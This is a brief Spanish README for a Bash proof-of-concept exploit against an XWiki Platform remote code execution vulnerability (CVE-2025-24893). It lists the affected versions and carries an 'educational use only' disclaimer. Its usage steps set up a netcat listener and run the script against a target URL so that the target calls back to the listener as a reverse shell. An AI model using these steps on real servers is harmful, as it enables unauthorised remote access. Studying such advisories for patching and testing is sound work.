CVE-2025-24893

Script POC en Bash para la vulnerabilidad de RCE en XWiki Platform

Ejemplo de uso:

Configurar un listener de netcat:

$ nc -nvlp <Puerto>

Después ejecutar el script:

$ chmod +x cve.sh
$ ./cve.sh <URL Objetivo> <IP del Listener> <Puerto>

Versiones afectadas:

• Desde 5.4 hasta 15.10.11
• Desde 16.0.0 hasta 16.4.1

Aviso legal

Esta herramienta es solo con fines educativos. No me hago responsable de ningún uso indebido.